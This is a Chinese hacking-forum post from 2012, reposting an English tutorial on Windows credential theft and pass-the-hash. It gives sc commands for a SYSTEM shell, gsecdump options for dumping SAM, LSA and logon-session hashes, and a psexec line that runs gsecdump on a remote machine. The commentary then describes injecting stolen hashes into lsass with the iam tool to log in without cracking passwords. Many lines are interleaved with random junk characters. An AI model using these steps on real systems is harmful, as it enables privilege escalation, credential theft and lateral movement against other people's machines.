找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2406|回复: 0
打印 上一主题 下一主题

HASH注入式攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:09:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
o get a DOS Prompt as NT system:
6 r& o1 f  @/ O  D& x
4 k) L" @, U: ^4 [' l8 NC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact' ?2 q5 |) H0 I+ u
[SC] CreateService SUCCESS
7 k, U; O1 P9 \) n/ V6 r
9 ?! k! @! ?9 ~! s  IC:\>sc start shellcmdline4 Q9 @% Q1 C/ m7 m7 ^
[SC] StartService FAILED 1053:3 p& Z- m& U% e" Z0 A/ d) I. \) X

8 f9 i# ]& L6 lThe service did not respond to the start or control request in a timely fashion./ q4 q9 W" h- z& h' Y

! `3 J1 U+ ^% P* y/ x+ C9 aC:\>sc delete shellcmdline
4 G1 l% ~  d4 l4 @3 |5 {, u' O5 N[SC] DeleteService SUCCESS1 U  R0 F: A& m8 \, k' ~

" r$ s1 x2 b! p5 g  p' T------------5 e. T- m; _7 ]% m* l
+ `8 r/ _: l- N; G5 [. V
Then in the new DOS window:
0 N8 c& u. K" [& w
6 e! t5 o& }, a" LMicrosoft Windows XP [Version 5.1.2600]; U- N& ?3 V: d
(C) Copyright 1985-2001 Microsoft Corp.
7 e' ]; L$ U( K9 j7 X9 p) r. `* d  i2 ?& |3 \; N* S
C:\WINDOWS\system32>whoami' o0 o) L. k. X7 q: X
NT AUTHORITY\SYSTEM* c. B' R. b+ _+ Z' ~
2 ~% g. G  j+ t9 Y1 n! _
C:\WINDOWS\system32>gsecdump -h; y. b: V4 p! \3 g# d8 `
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)) k+ i( n! x1 _( \( G
usage: gsecdump [options]
6 L4 I& `* L4 F. U9 t0 x- G. M. A) G7 w8 C& {; `& R7 q
options:
5 a1 d1 S- l' M* d3 Y) Z-h [ --help ] show help
* X  m8 w6 y* p-a [ --dump_all ] dump all secrets
+ Y1 A. o+ P, e-l [ --dump_lsa ] dump lsa secrets, f5 }( u/ |0 A" H
-w [ --dump_wireless ] dump microsoft wireless connections. l* v, _3 ~% k, E$ j+ D& M6 z5 U
-u [ --dump_usedhashes ] dump hashes from active logon sessions
; n2 \4 o: s$ V! e' [. v-s [ --dump_hashes ] dump hashes from SAM/AD
0 @( n( P9 b# v5 N# |) i6 D7 C" n, r( h; F! X0 {8 m6 L
Although I like to use:2 v; M- ?) h. j0 z% G" _) t+ n! t( ~
% d/ O/ j4 D) Y8 x1 Y3 U+ }
PsExec v1.83 - Execute processes remotely; |, f6 d: f4 D& k8 ?4 {. y- o
Copyright (C) 2001-2007 Mark Russinovich
6 h: k6 v) }, r- c9 r1 g6 TSysinternals - 链接标记[url]www.sysinternals.com[/url]9 j) Q( l; l  u: E& B9 z5 Y
' [1 l+ y% |/ P. J
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT# t3 I; j, o5 ?% F1 G! t% J) z

% m- L; \0 Y. xto get the hashes from active logon sessions of a remote system.4 O* g- s. o& F# H

' F! M7 w& u! F: }These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.$ T, U, X- J& W/ C8 C2 p8 [
$ U3 ]4 g$ h/ l- |
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
. g  I2 D4 u0 l" y& x% x" n原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]: m/ O1 Y: c8 f5 |- \
+ Q- q' ~5 u* ^& F6 B
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
- ~0 j+ S+ q6 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表